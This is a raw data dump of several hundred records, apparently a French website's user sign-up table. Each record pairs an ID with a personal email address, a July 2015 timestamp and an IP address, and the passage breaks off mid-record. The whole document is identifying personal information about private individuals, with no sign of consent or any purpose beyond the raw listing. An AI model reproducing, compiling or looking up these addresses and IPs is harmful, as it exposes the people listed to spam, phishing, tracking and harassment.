+11823;0672909772@orange.fr;2015-07-07 10:24:16;78.199.253.123 +11824;alexandre.cohen@gmail.com;2015-07-07 10:29:20;109.9.75.132 +11825;chrysteleditte@orange.fr;2015-07-07 11:20:29;80.12.63.120 +11826;myriam60560@gmail.com;2015-07-07 11:24:23;80.14.94.176 +11827;f.camelio@wanadoo.fr;2015-07-07 11:29:18;78.251.88.6 +11828;marion@antadis.com;2015-07-07 11:55:02;90.63.178.63 +11829;muszynski@antadis.com;2015-07-07 11:56:43;90.63.178.63 +11830;hendrickxjacqueline@hotmail.es;2015-07-07 12:16:46;92.57.81.131 +11831;karinn@sfr.fr;2015-07-07 14:08:40;77.145.134.34 +11832;monique.dahlia@sfr.fr;2015-07-07 15:53:23;84.7.82.249 +11833;lilibellule@orange.fr;2015-07-07 15:58:22;90.2.127.5 +11834;brigitte.soullier@free.fr;2015-07-07 16:14:41;88.165.166.106 +11835;cath.cromb@nordnet.fr;2015-07-07 16:25:03;90.83.232.218 +11836;bbarthes@icloud.com;2015-07-07 16:27:18;90.0.10.82 +11837;babethfelix@laposte.net;2015-07-07 17:20:47;86.200.202.239 +11838;karinebassibey@hotmail.fr;2015-07-07 18:03:18;88.138.86.66 +11839;ouvieremarion@gmail.com;2015-07-07 18:18:33;176.151.181.229 +11840;marine.jordan@voila.fr;2015-07-07 18:39:19;78.250.169.94 +11841;jadeborsoi@gmail.com;2015-07-07 22:09:45;78.246.201.174 +11842;julie.estimbre@free.fr;2015-07-08 03:22:32;78.244.108.133 +11843;magaliehm@live.fr;2015-07-08 09:49:08;93.11.244.191 +11844;mathilde_garo@hotmail.fr;2015-07-08 10:35:36;212.234.116.126 +11845;caroline.beaudichon@wanadoo.fr;2015-07-08 11:05:09;78.224.212.61 +11846;mj.bouillez@club-internet.fr;2015-07-08 11:05:28;78.125.183.101 +11847;13857792021@163.com;2015-07-08 11:38:51;115.218.190.185 +11848;anna.karenine@sfr.fr;2015-07-08 11:57:07;77.193.201.12 +11849;lia_fr@msn.com;2015-07-08 13:24:30;192.35.17.16 +11850;resmond.monique@neuf.fr;2015-07-08 14:17:55;88.219.212.17 +11851;parrym91@icloud.com;2015-07-08 15:05:19;176.190.12.61 +11852;theze.emeline@laposte.net;2015-07-08 15:38:22;109.222.215.122 +11853;sandrine.roguet@orange.fr;2015-07-08 16:33:13;90.27.149.72 +11854;aurelie.muller3@hotmail.fr;2015-07-08 17:02:08;109.213.215.127 +11855;miora.ran@gmail.com;2015-07-08 18:52:28;62.161.37.177 +11856;cecile.paulin@outlook.com;2015-07-08 20:10:30;80.215.210.82 +11857;brigitte.richarddu62@free.fr;2015-07-08 20:11:22;88.167.57.226 +11858;crocquant@gmail.com;2015-07-08 20:52:47;78.231.212.151 +11859;sofililou@hotmail.fr;2015-07-08 21:20:49;90.23.93.4 +11860;christelle.tetaert@gmail.com;2015-07-08 21:38:45;46.22.89.31 +11861;maudruffinoni@hotmail.fr;2015-07-08 21:48:56;90.51.176.250 +11862;florence.sexyeyes@hotmail.fr;2015-07-08 22:43:34;87.90.103.246 +11863;c.jullien@beimo.fr;2015-07-08 23:02:37;188.130.92.22 +11864;emilyhernandez@hotmail.fr;2015-07-08 23:13:28;90.28.183.17 +11865;reginesargenti@orange.fr;2015-07-08 23:17:11;83.153.69.179 +11866;pierrefara1@yahoo.fr;2015-07-08 23:57:25;89.87.42.163 +11867;ambregris@hotmail.fr;2015-07-09 00:20:06;85.69.35.70 +11868;mireilleproux@orange.fr;2015-07-09 08:01:07;92.160.212.247 +11869;zubiria.natasha@gmail.com;2015-07-09 08:54:33;90.8.132.81 +11870;ressiotd@gmail.com;2015-07-09 10:08:36;88.165.141.228 +11871;cleemy@live.fr;2015-07-09 10:55:44;176.150.243.212 +11872;dorotheedou@yahoo.fr;2015-07-09 12:18:43;90.36.46.129 +11873;ssssoph@yahoo.fr;2015-07-09 12:23:58;113.21.127.26 +11874;rosario.soarescosta@gmail.com;2015-07-09 13:02:02;178.166.16.197 +11875;punx_casper@hotmail.com;2015-07-09 13:12:56;91.176.82.3 +11876;v.alauzet@laposte.net;2015-07-09 13:52:34;109.220.111.32 +11877;anne-o.vise@hotmail.fr;2015-07-09 14:11:45;159.180.231.89 +11878;francine.darne@hotmail.fr;2015-07-09 16:11:27;88.179.11.206 +11879;caroline_celle@yahoo.fr;2015-07-09 16:13:50;132.168.64.93 +11880;didineo13@free.fr;2015-07-09 18:04:05;82.237.242.110 +11881;julie.duchatel@orange.fr;2015-07-09 18:12:10;90.58.32.196 +11882;mob66@libertysurf.fr;2015-07-09 18:30:48;78.209.190.106 +11883;kathy.theves@sfr.fr;2015-07-09 18:51:24;31.32.194.18 +11884;audrey-degeorge@orange.fr;2015-07-09 21:22:48;90.0.158.166 +11885;orain.deborah@gmail.com;2015-07-09 21:34:46;90.59.144.122 +11886;rouchi75@hotmail.fr;2015-07-09 21:58:28;77.132.84.185 +11887;elvira.mendes@laposte.net;2015-07-09 22:22:23;92.162.124.118 +11888;gilles.baumgartner@wanadoo.fr;2015-07-09 22:29:45;92.162.151.251 +11889;efslyon@free.fr;2015-07-09 23:02:17;88.168.61.10 +11890;arielle.guerber@gmail.com;2015-07-09 23:25:31;82.123.112.13 +11891;dumont.mf@wanadoo.fr;2015-07-10 07:43:50;90.54.231.121 +11892;corinnejeff@wanadoo.fr;2015-07-10 08:31:23;86.202.217.57 +11893;charlotte.tomaszewski@neuf.fr;2015-07-10 10:24:58;88.168.158.195 +11894;annette.malbos@orange.fr;2015-07-10 10:26:25;2.4.6.239 +11895;laetivecchio@gmail.com;2015-07-10 10:38:06;194.105.113.182 +11896;lilasrose88@yahoo.fr;2015-07-10 10:50:30;5.134.96.109 +11897;mary.piette@outlook.fr;2015-07-10 10:55:08;92.245.155.43 +11898;angquinet@hotmail.fr;2015-07-10 11:41:21;149.154.249.55 +11899;kiss-poul@hotmail.fr;2015-07-10 11:51:09;193.26.29.50 +11900;denise.ville@hotmail.fr;2015-07-10 12:00:54;82.235.245.1 +11901;fsilou@sfr.fr;2015-07-10 13:43:34;86.74.21.12 +11902;angie.3@hotmail.fr;2015-07-10 15:10:36;5.49.73.8 +11903;vald66@free.fr;2015-07-10 15:14:26;85.14.187.89 +11904;maricotberengere@yahoo.fr;2015-07-10 15:16:43;83.113.226.46 +11905;kat-06@sfr.fr;2015-07-10 15:41:16;78.123.22.154 +11906;isa.gault@wanadoo.fr;2015-07-10 17:51:48;92.152.47.132 +11907;coco2510@sfr.fr;2015-07-10 21:16:52;77.148.169.129 +11908;jackye.clotail@orange.fr;2015-07-11 02:04:40;82.123.29.171 +11909;colette.perbal@sfr.fr;2015-07-11 07:26:27;95.157.137.81 +11910;martine.proux@orange.fr;2015-07-11 09:25:14;90.55.153.145 +11911;mj.penaranda@yahoo.fr;2015-07-11 09:47:05;86.222.60.41 +11912;SYLVIE.LONGOUR@GMAIL.COM;2015-07-11 12:13:25;83.205.234.188 +11913;calla.calla@hotmail.com;2015-07-11 12:38:32;81.65.135.68 +11914;celine.aldebert34@gmail.com;2015-07-11 14:31:13;78.209.174.75 +11915;nat.3@voila.fr;2015-07-11 15:33:36;90.10.233.202 +11916;edenorhell@hotmail.fr;2015-07-11 16:11:04;176.187.172.131 +11917;anainico@hotmail.fr;2015-07-11 17:18:28;213.138.13.30 +11918;sdoulet@gmail.com;2015-07-11 17:36:06;31.34.76.192 +11919;m.massacrierjosette@orange.fr;2015-07-11 17:37:59;80.9.102.166 +11920;ines.lallier@orange.fr;2015-07-11 18:19:29;86.214.72.172 +11921;gendrec@wanadoo.fr;2015-07-11 20:31:36;90.59.183.88 +11922;ricouxpatricia@yahoo.fr;2015-07-11 22:12:04;78.232.120.150 +11923;florence.tastet@sfr.fr;2015-07-11 22:16:13;86.69.83.197 +11924;Alain.dejeux@sfr.fr;2015-07-11 22:25:08;86.67.101.227 +11925;english.wording@wanadoo.fr;2015-07-11 22:52:48;86.210.134.252 +11926;d.lopinska@gmail.com;2015-07-11 23:06:31;81.249.71.67 +11927;laetanis@hotmail.fr;2015-07-11 23:42:48;81.220.242.30 +11928;severine0933@hotmail.com;2015-07-12 11:31:37;109.88.121.70 +11929;heloise.riviere@orange.fr;2015-07-12 11:38:40;92.142.84.38 +11930;nicolethouary@yahoo.fr;2015-07-12 11:45:01;92.145.240.92 +11931;francoise.guedra178@orange.fr;2015-07-12 11:47:46;83.196.73.202 +11932;lhote.michele@orange.fr;2015-07-12 12:39:48;82.121.166.5 +11933;mhpourcelot@gmail.com;2015-07-12 15:09:36;92.142.218.34 +11934;adeline.gbt@gmail.com;2015-07-12 15:26:24;88.185.117.89 +11935;evelynegerardin@orange.fr;2015-07-12 15:31:36;81.51.99.186 +11936;bourgine.ghislaine37@hotmail.fr;2015-07-12 15:53:11;80.236.83.216 +11937;francois.maugrenier@club-internet.fr;2015-07-12 16:03:14;77.129.84.222 +11938;ISABELLE.SEIGNOUX@YAHOO.FR;2015-07-12 17:36:02;78.210.192.148 +11939;scullyval@hotmail.fr;2015-07-12 18:37:56;79.88.172.123 +11940;evadidier@me.com;2015-07-12 18:51:27;93.4.31.96 +11941;majutras@gmail.com;2015-07-12 19:00:36;24.122.148.106 +11942;philippe.quatrelivre@orange.fr;2015-07-12 19:42:25;90.58.226.212 +11943;philippe.quatrelivre@orange.fr;2015-07-12 19:42:25;90.58.226.212 +11944;djodjo@delabouchardiere.net;2015-07-12 19:45:36;86.204.78.200 +11945;suzanne.montoulieu@hotmail.fr;2015-07-12 19:55:16;86.222.68.79 +11946;cheyenne369@hotmail.fr;2015-07-12 20:49:45;77.130.231.57 +11947;jumamax@club-internet.fr;2015-07-12 21:37:50;93.5.232.237 +11948;karimaseba@hotmail.fr;2015-07-12 23:05:13;31.32.138.202 +11949;christelle.bouquin@yahoo.fr;2015-07-13 08:14:49;83.142.147.66 +11950;jamaigneg@gmail.com;2015-07-13 08:30:35;91.183.89.57 +11951;jean.belleterre@wanadoo.fr;2015-07-13 08:38:16;90.39.103.231 +11952;mincel@hotmail.fr;2015-07-13 09:34:51;163.116.6.10 +11953;nathalie.dron76@gmail.com;2015-07-13 09:49:35;213.44.76.32 +11954;olga@marchewczyk.com;2015-07-13 10:34:49;95.172.164.43 +11955;claudie.le-fur@wanadoo.fr;2015-07-13 11:47:34;90.32.97.96 +11956;stephetpierre@hotmail.fr;2015-07-13 12:03:33;77.146.206.33 +11957;lujc@wanadoo.fr;2015-07-13 12:13:38;82.122.83.194 +11958;angelique.venel@free.fr;2015-07-13 13:07:09;78.210.91.9 +11959;ab.vincent@live.fr;2015-07-13 13:35:01;41.82.158.18 +11960;oneige@hotmail.fr;2015-07-13 13:49:59;31.33.104.169 +11961;jacqueline.s.pxfd@orange.fr;2015-07-13 15:25:09;2.8.82.87 +11962;kahimeine@ymail.com;2015-07-13 15:37:00;77.201.116.31 +11963;nelly.guivarch@sfr.fr;2015-07-13 15:37:31;88.140.255.216 +11964;michele.vilimek@kwasny.fr;2015-07-13 15:47:55;81.252.39.9 +11965;serge.penant@orange.fr;2015-07-13 15:51:56;83.112.85.110 +11966;sashimi1206@yahoo.fr;2015-07-13 16:37:26;85.171.205.114 +11967;bonanni_paola@hotmail.com;2015-07-13 18:01:20;90.41.122.124 +11968;catherine.villanne@wanadoo.fr;2015-07-13 18:27:12;86.221.187.180 +11969;diakite_nathalie@yahoo.com;2015-07-13 19:31:15;89.82.151.95 +11970;a.melin@hotmail.fr;2015-07-13 21:46:31;88.178.199.209 +11971;gilson.sylvie@orange.fr;2015-07-13 21:49:50;81.51.240.192 +11972;joseph.valerioti@orange.fr;2015-07-13 22:38:00;78.198.146.86 +11973;isabelle.viaud@gmail.com;2015-07-13 23:31:23;213.44.117.28 +11974;deloze.sandrine@orange.fr;2015-07-13 23:33:45;70.91.114.169 +11975;harmonie1802@gmail.fr;2015-07-13 23:54:52;88.189.64.26 +11976;bab.sev@wanadoo.fr;2015-07-14 00:13:12;90.13.110.84 +11977;kelly.colleen@hotmail.fr;2015-07-14 02:05:39;90.20.84.195 +11978;ariane.udry@netplus.ch;2015-07-14 08:48:19;81.13.144.48 +11979;familyservile@yahoo.com;2015-07-14 09:33:12;88.186.130.98 +11980;orlane.giboulet@orange.fr;2015-07-14 09:34:10;80.9.84.8 +11981;pouliquenchantal@orange.fr;2015-07-14 09:49:05;2.10.206.191 +11982;laruesandrine@hotmail.fr;2015-07-14 09:55:06;176.189.202.153 +11983;tisin.nathalie@neuf.fr;2015-07-14 09:57:16;84.102.27.42 +11984;gaelle.labaudre@wanadoo.fr;2015-07-14 10:10:04;82.124.45.13 +11985;fdebreuill@aol.com;2015-07-14 10:17:02;88.169.102.92 +11986;sarah.emery02@laposte.net;2015-07-14 10:22:26;89.84.65.111 +11987;bouboune44@live.fr;2015-07-14 11:21:12;80.12.55.241 +11988;daniele.geoffroy220@orange.fr;2015-07-14 12:49:22;83.195.160.237 +11989;marie.guillotin.gilles@gmail.com;2015-07-14 13:58:34;77.201.142.60 +11990;carol.andarelli@gmail.com;2015-07-14 14:09:54;77.133.15.105 +11991;vmmonts@hotmail.fr;2015-07-14 14:50:19;176.186.142.27 +11992;madgesansxu9768@yahoo.com;2015-07-14 14:50:52;91.236.74.97 +11993;mmahieu@xilan.fr;2015-07-14 14:55:55;109.190.63.53 +11994;dominique.tropini@dbmail.com;2015-07-14 15:21:24;5.50.161.201 +11995;pivert.bruno@wanadoo.fr;2015-07-14 15:49:53;80.12.51.133 +11996;gaelletissier@hotmail.com;2015-07-14 15:58:48;89.156.92.144 +11997;nadinethiry@yahoo.com;2015-07-14 16:16:15;95.182.129.96 +11998;handa_niaina@yahoo.fr;2015-07-14 16:46:46;41.188.49.87 +11999;isisderomefort@outlook.fr;2015-07-14 17:35:52;88.124.32.1 +12000;pigeat.thierry@wanadoo.fr;2015-07-14 17:49:12;86.204.10.158 +12001;stephanytchakianrd1956@yahoo.com;2015-07-14 20:41:17;91.236.74.97 +12002;delphine.thonon@gmail.com;2015-07-14 22:58:38;81.243.62.232 +12003;stephanie.bacquey@gmail.com;2015-07-14 23:06:41;90.23.16.240 +12004;francoiseboulanger@hotmail.fr;2015-07-15 05:44:03;92.144.147.51 +12005;janisbedneygz6795@yahoo.com;2015-07-15 08:43:25;91.236.74.97 +12006;croixdankh@free.fr;2015-07-15 08:50:39;93.174.33.253 +12007;fabihau@free.fr;2015-07-15 09:01:06;78.205.124.104 +12008;helene.monteiller@sfr.fr;2015-07-15 09:25:47;109.21.170.113 +12009;p.julie14210@gmail.com;2015-07-15 09:26:42;83.167.153.45 +12010;nathalie.gamard@finances.gouv.fr;2015-07-15 12:35:57;193.17.19.232 +12011;fabericvil@gmail.com;2015-07-15 12:45:08;88.125.58.14 +12012;pascal.flo@hotmail.fr;2015-07-15 14:54:49;86.76.75.161 +12013;jeniferroux@gmail.com;2015-07-15 15:56:12;31.32.163.91 +12014;cathside@wanadoo.fr;2015-07-15 16:04:12;193.253.255.182 +12015;bertrand.fa@wibox.fr;2015-07-15 16:26:53;85.203.83.14 +12016;evendroux@hotmail.fr;2015-07-15 17:47:00;90.51.218.7 +12017;aurore.ladame@yahoo.fr;2015-07-15 18:28:02;92.160.96.129 +12018;jbrsz@hotmail.com;2015-07-15 18:33:42;2.13.123.98 +12019;charlotte.germond@gmail.com;2015-07-15 18:40:46;46.218.27.146 +12020;axelle.lh@gmail.com;2015-07-15 18:50:55;77.200.11.66 +12021;baldareceline@gmail.com;2015-07-15 18:52:46;77.130.81.72 +12022;christelle.rousselin@gmail.com;2015-07-15 18:53:14;82.238.180.94 +12023;aubrun.francoise@orange.fr;2015-07-15 18:54:41;83.32.163.60 +12024;chadiazerrou@yahoo.fr;2015-07-15 19:28:21;83.137.242.22 +12025;quiterie.bastie@gmail.com;2015-07-15 19:35:14;195.66.82.9 +12026;divanach.marcel@neuf.fr;2015-07-15 19:44:11;109.8.98.50 +12027;ophelie26@hotmail.com;2015-07-15 19:51:29;82.127.161.118 +12028;khodjanad@yahoo.fr;2015-07-15 19:53:52;82.240.126.161 +12029;chbarge24@sfr.fr;2015-07-15 20:08:23;109.22.100.26 +12030;ellenwarda@gmail.com;2015-07-15 20:38:22;92.160.92.78 +12031;castel.geraldine@gmail.com;2015-07-15 21:01:41;90.61.236.107 +12032;cedrinecar@me.com;2015-07-15 21:06:54;88.174.45.180 +12033;frede.boutte@orange.fr;2015-07-15 21:14:44;88.136.9.234 +12034;domiszymanski@gmail.com;2015-07-15 21:21:58;78.228.171.25 +12035;paty.ciolek@orange.fr;2015-07-15 21:31:50;92.150.166.230 +12036;cindy.muzzolin@hotmail.fr;2015-07-15 21:56:51;82.224.119.49 +12037;pink-mumu@hotmail.com;2015-07-15 22:17:24;91.178.132.135 +12038;isis1962@hotmail.com;2015-07-15 22:36:55;109.133.148.190 +12039;fornelaetitia@outlook.fr;2015-07-15 22:44:31;86.202.215.203 +12040;mseux@gmx.com;2015-07-15 22:57:55;128.78.70.122 +12041;sara.dallel@hotmail.fr;2015-07-16 00:18:17;93.190.210.254 +12042;anghjula@gmail.com;2015-07-16 00:58:49;86.73.6.122 +12043;sese683@hotmail.com;2015-07-16 06:45:54;88.120.120.70 +12044;sylvie.s.courbe@gmail.com;2015-07-16 07:08:58;88.181.137.181 +12045;schmitt-david0414@orange.fr;2015-07-16 07:33:19;92.133.43.252 +12046;rachelsevilla.rs@gmail.com;2015-07-16 08:17:24;178.23.154.75 +12047;nathalie.del0204@orange.fr;2015-07-16 08:20:05;89.3.171.156 +12048;carine.bourdin@wanadoo.fr;2015-07-16 08:45:07;90.58.153.216 +12049;pcecile090286@aol.com;2015-07-16 08:48:34;217.128.236.219 +12050;lucie.bonato@orange.fr;2015-07-16 08:57:08;90.44.14.209 +12051;fan-2-xtina@hotmail.fr;2015-07-16 09:09:10;194.79.174.194 +12052;adeline.mouquet@sfr.fr;2015-07-16 09:12:17;92.157.32.227 +12053;pkeperso@gmail.com;2015-07-16 09:58:36;90.61.105.12 +12054;barberine.georget@voila.fr;2015-07-16 10:21:23;84.14.50.194 +12055;pharmaciedelavallee74@orange.fr;2015-07-16 10:23:59;86.200.187.38 +12056;redfairycat@gmail.com;2015-07-16 10:36:09;141.227.1.34 +12057;m_emporio@hotmail.com;2015-07-16 10:49:33;90.50.107.128 +12058;lyly_lem14@hotmail.fr;2015-07-16 11:13:26;193.251.15.74 +12059;audrey260584@gmail.com;2015-07-16 11:52:40;107.158.236.114 +12060;valentine.vives@gmail.com;2015-07-16 12:03:21;90.48.220.4 +12061;laugier.fabienne@orange.fr;2015-07-16 12:07:38;92.103.237.151 +12062;adedoyelle@yahoo.fr;2015-07-16 12:44:54;78.197.126.28 +12063;regine.oudjani@gmail.com;2015-07-16 12:58:27;62.161.235.85 +12064;jermarseb@free.fr;2015-07-16 13:05:01;79.141.11.138 +12065;marion_pdc@yahoo.fr;2015-07-16 13:06:58;83.205.35.158 +12066;dominique.birot@live.fr;2015-07-16 13:18:01;86.217.202.140 +12067;a.monnier40@laposte.net;2015-07-16 13:32:39;129.20.167.68 +12068;kerdanet.christian@orange.fr;2015-07-16 13:42:06;109.217.47.222 +12069;audreyportner@hotmail.com;2015-07-16 13:53:18;217.167.147.251 +12070;danielle.delos@free.fr;2015-07-16 14:24:15;82.247.210.134 +12071;annelisegueydan@gmail.com;2015-07-16 14:35:30;192.132.228.1 +12072;deletang.mireille@neuf.fr;2015-07-16 14:47:24;86.69.133.71 +12073;gwenaliagre@gmail.com;2015-07-16 15:26:50;217.109.81.169 +12074;juliesabinelebrun@gmail.com;2015-07-16 16:56:52;92.90.21.32 +12075;lilou_nat@hotmail.fr;2015-07-16 17:12:34;94.29.207.246 +12076;mumubreuil@hotmail.fr;2015-07-16 17:52:30;109.25.120.76 +12077;claudia.velasco87@orange.fr;2015-07-16 18:01:28;86.199.139.211 +12078;stf73@hotmail.fr;2015-07-16 18:14:43;78.246.73.168 +12079;jocelyne.carroue@club-internet.fr;2015-07-16 18:42:26;88.167.124.42 +12080;familleprince75@gmail.com;2015-07-16 19:00:05;90.61.70.171 +12081;catherineduf@orange.fr;2015-07-16 19:19:51;86.207.200.141 +12082;joellemassol@yahoo.fr;2015-07-16 19:41:04;90.60.82.59 +12083;anne.kowalik@gmail.com;2015-07-16 19:54:12;92.138.225.13 +12084;chrystni@wanadoo.fr;2015-07-16 20:30:26;90.27.210.224 +12085;ibtissem72@gmail.com;2015-07-16 20:39:54;81.64.163.124 +12086;c.raymond648@laposte.net;2015-07-16 20:57:53;77.144.123.175 +12087;chrisb68@hotmail.fr;2015-07-16 21:37:09;86.205.202.219 +12088;micoleen@hotmail.fr;2015-07-16 22:02:56;86.223.200.247 +12089;constantin_celine@yahoo.fr;2015-07-16 22:06:54;82.235.131.88 +12090;patricia-david45@hotmail.fr;2015-07-16 23:52:12;77.130.152.165 +12091;dominikeuh@gmail.com;2015-07-17 06:27:21;88.184.132.45 +12092;manue.chapier@gmail.com;2015-07-17 08:01:37;193.51.113.226 +12093;kamar_audooren@mckinsey.com;2015-07-17 10:04:36;213.246.249.98 +12094;hayet.nougha@hotmail.fr;2015-07-17 11:02:45;85.192.215.241 +12095;catherine.bardin@laposte.net;2015-07-17 13:13:29;90.53.235.222 +12096;sableanne11@gmail.com;2015-07-17 14:24:07;81.185.198.29 +12097;anneisabelle.gutierrez@gmail.com;2015-07-17 15:04:48;78.234.96.24 +12098;l.desplanques@skynet.be;2015-07-17 15:10:00;81.241.41.117 +12099;lili2501@hotmail.fr;2015-07-17 17:37:55;92.152.182.155 +12100;mrhenri@hotmail.fr;2015-07-17 19:03:18;88.136.136.189 +12101;emma_gueydan@yahoo.fr;2015-07-17 19:37:47;82.237.10.11 +12102;sabine.tarnaski@wanadoo.fr;2015-07-17 22:33:28;92.131.59.101 +12103;isabelle.gerault@wanadoo.fr;2015-07-17 22:49:40;83.195.33.170 +12104;michasand@homail.fr;2015-07-17 23:02:07;82.239.62.80 +12105;killkr0q@gmail.com;2015-07-17 23:04:30;176.150.247.243 +12106;liyazh@hotmail.fr;2015-07-18 01:17:03;81.51.221.132 +12107;anne.thibault9@orange.fr;2015-07-18 08:40:14;86.196.127.20 +12108;mumstar@laposte.net;2015-07-18 09:22:30;84.100.4.227 +12109;daphne.brivois@laposte.net;2015-07-18 09:42:20;109.16.165.76 +12110;mathilde.blanchard@live.fr;2015-07-18 10:28:22;90.1.234.85 +12111;somapo@hotmail.fr;2015-07-18 10:32:09;78.239.240.183 +12112;hoareausandrine@orange.fr;2015-07-18 11:07:05;80.8.43.163 +12113;sophie.monnet33@gmail.com;2015-07-18 11:13:14;62.102.229.185 +12114;zoedollet@wanadoo.fr;2015-07-18 11:32:58;92.151.169.232 +12115;dambrine.ingrid@gmail.com;2015-07-18 12:16:06;83.192.60.67 +12116;maryse.larcher@orange.fr;2015-07-18 13:23:09;92.148.114.207 +12117;jeannineherry@sfr.fr;2015-07-18 14:04:29;84.103.85.221 +12118;christine.pineau398@orange.fr;2015-07-18 15:08:58;92.146.5.148 +12119;veroniqueniclasse@hotmail.com;2015-07-18 15:38:47;212.68.253.114 +12120;alice.deleglise@orange.fr;2015-07-18 16:02:48;90.27.33.209 +12121;sabine.achard@laposte.net;2015-07-18 16:48:18;86.202.162.224 +12122;patricia.teston@yahoo.fr;2015-07-18 17:50:14;78.250.179.222 +12123;jean-francois.antoni2000@orange.fr;2015-07-18 17:53:00;92.158.166.189 +12124;sylviestamper@gmail.com;2015-07-18 17:59:33;176.151.33.26 +12125;josleglise@laposte.net;2015-07-18 18:14:56;80.215.210.79 +12126;julie.n92@hotmail.fr;2015-07-18 18:15:29;109.26.50.157 +12127;mach.2chris@orange.fr;2015-07-18 18:17:45;90.55.23.241 +12128;lena_andco@hotmail.com;2015-07-18 20:09:22;176.182.41.228 +12129;elodymarco@yahoo.fr;2015-07-18 20:37:53;88.219.233.226 +12130;goucath95@orange.fr;2015-07-18 20:51:36;82.120.227.150 +12131;emilymaman@hotmail.fr;2015-07-18 21:01:21;78.211.168.228 +12132;anne-dargent@bbox.fr;2015-07-18 22:34:57;176.189.193.75 +12133;e.cestmoi@laposte.net;2015-07-19 00:06:37;78.234.218.51 +12134;ilaroche32@free.fr;2015-07-19 08:23:19;78.237.162.192 +12135;carolineprime@hotmail.fr;2015-07-19 10:51:43;93.8.7.146 +12136;orelimo@gmail.com;2015-07-19 11:35:36;83.79.238.216 +12137;lucky.rigaut@orange.fr;2015-07-19 12:08:51;90.1.118.72 +12138;martine.barral@9online.fr;2015-07-19 12:54:34;77.130.244.2 +12139;isabelle.dalinval@orange.fr;2015-07-19 12:55:36;90.1.152.90 +12140;fougmar@yahoo.fr;2015-07-19 13:03:00;86.222.248.236 +12141;mapie.taz@orange.fr;2015-07-19 13:37:06;90.22.119.224 +12142;anne.jaecki@gmail.com;2015-07-19 13:40:03;78.192.83.71 +12143;virginie.lapchin@orange.fr;2015-07-19 13:47:55;90.47.156.21 +12144;wendylique@gmail.com;2015-07-19 14:23:47;93.30.201.181 +12145;bgmg@orange.fr;2015-07-19 14:33:35;90.37.225.185 +12146;annemarchal34@gmail.com;2015-07-19 15:03:25;92.95.50.69 +12147;evbpro85@gmail.com;2015-07-19 15:12:21;88.163.221.15 +12148;jean-christophe.fontana@orange.fr;2015-07-19 15:16:12;90.41.207.41 +12149;da-costa.joelle@orange.fr;2015-07-19 16:45:08;86.210.212.82 +12150;c.lepetitcorps@laposte.net;2015-07-19 17:26:44;193.242.5.35 +12151;caroleprat@live.fr;2015-07-19 18:42:45;78.207.89.33 +12152;michele.castille@gmail.com;2015-07-19 19:02:39;86.211.153.101 +12153;mi.c@libero.it;2015-07-19 20:40:55;95.224.215.215 +12154;anne@anai.fr;2015-07-19 20:47:07;90.28.113.115 +12155;mcandylene@hotmail.com;2015-07-19 20:57:30;82.235.3.223 +12156;m.nivoix@gmail.com;2015-07-19 21:36:57;81.49.201.142 +12157;helenemat42@gmail.com;2015-07-19 21:39:43;88.175.127.154 +12158;mp.nallet@live.fr;2015-07-19 21:43:24;109.217.140.121 +12159;dot.marion@yahoo.fr;2015-07-19 22:19:53;176.187.237.12 +12160;faugerouxjessica@yahoo.fr;2015-07-19 22:25:02;90.51.178.219 +12161;vsourisseau.78@gmail.com;2015-07-19 22:42:18;5.48.231.230 +12162;ctrolong@sfr.fr;2015-07-20 01:01:40;84.6.47.244 +12163;corinne.vanelsen@free.fr;2015-07-20 08:38:15;88.125.56.203 +12164;marie.fourtine@gmail.com;2015-07-20 08:47:18;109.222.250.242 +12165;haika-moi@hotmail.fr;2015-07-20 08:53:34;83.198.162.25 +12166;famille.tricquet@wanadoo.fr;2015-07-20 09:55:04;81.51.92.254 +12167;muszynski+d@antadis.com;2015-07-20 10:34:44;90.63.178.63 +12168;marion+test@antadis.com;2015-07-20 10:52:17;5.1.83.154 +12169;nathalie.bayle90@sfr.fr;2015-07-20 11:11:49;109.20.244.136 +12170;cuny.catherine@orange.fr;2015-07-20 11:14:19;212.23.178.53 +12171;veronique.hue@orange.fr;2015-07-20 12:08:03;83.192.239.195 +12172;carohanotin@hotmail.fr;2015-07-20 13:50:32;132.169.193.41 +12173;ninie-brihiez@hotmail.fr;2015-07-20 14:36:45;79.94.106.121 +12174;martinedomenech0502@orange.fe;2015-07-20 14:38:44;86.210.241.146 +12175;fboyat@gmail.com;2015-07-20 15:02:03;82.122.205.85 +12176;abernon@club.fr;2015-07-20 15:35:24;86.68.254.145 +12177;morel.aude@yahoo.fr;2015-07-20 15:48:06;78.204.97.88 +12178;marion+test2@antadis.com;2015-07-20 17:00:50;94.242.246.23 +12179;marion+test3@antadis.com;2015-07-20 17:01:46;94.242.246.23 +12180;m.muszynski@anatdis.com;2015-07-20 17:02:59;94.242.246.23 +12181;gbouyrou@gmail.com;2015-07-20 18:54:21;88.178.92.197 +12182;annick.lal@hotmail.fr;2015-07-20 21:30:14;90.58.227.156 +12183;ln_carre@orange.fr;2015-07-20 21:36:11;83.199.16.78 +12184;cdeferreira@aliceadsl.fr;2015-07-20 21:43:42;93.26.19.28 +12185;campdesrachs@gmail.com;2015-07-20 22:25:29;92.147.108.169 +12186;celine.bouville@laposte.net;2015-07-20 22:32:56;83.198.16.156 +12187;maryse.crofils@orange.fr;2015-07-20 22:37:09;80.12.144.102 +12188;paulinha.coe@hotmail.fr;2015-07-20 22:54:11;78.193.92.233 +12189;angelicious207@yahoo.fr;2015-07-20 23:21:51;78.199.167.27 +12190;joel.le.bellec@wanadoo.fr;2015-07-21 07:59:15;2.13.83.148 +12191;lormumu@yahoo.fr;2015-07-21 08:23:06;92.161.58.203 +12192;audegarcia66440@gmail.com;2015-07-21 08:41:42;217.109.241.69 +12193;charlimelo@hotmail.fr;2015-07-21 08:54:48;194.214.63.221 +12194;mallarddanielle@gmail.com;2015-07-21 09:17:54;90.14.209.12 +12195;linda38950@gmail.com;2015-07-21 09:36:20;82.229.199.118 +12196;ma.non34@hotmail.fr;2015-07-21 09:37:52;88.127.12.155 +12197;vaness_babycatou@hotmail.fr;2015-07-21 10:05:00;77.206.10.5 +12198;lemoclau@orange.fr;2015-07-21 12:01:48;86.215.45.39 +12199;sebeauger@orange.fr;2015-07-21 12:41:00;86.207.35.215 +12200;marieg.ivain@sfr.fr;2015-07-21 14:18:10;79.87.41.241 +12201;valerie.petreto@wanadoo.fr;2015-07-21 14:23:17;81.80.169.252 +12202;dar1astrang3@gmail.com;2015-07-21 14:49:49;109.2.100.221 +12203;fifi.nath@hotmail.fr;2015-07-21 15:30:07;90.12.99.104 +12204;amj.babut@orange.fr;2015-07-21 15:45:06;90.12.26.232 +12205;sebastien.tessier-cuisine33@sfr.fr;2015-07-21 16:10:59;77.147.20.71 +12206;mlaure.ripp@gmail.com;2015-07-21 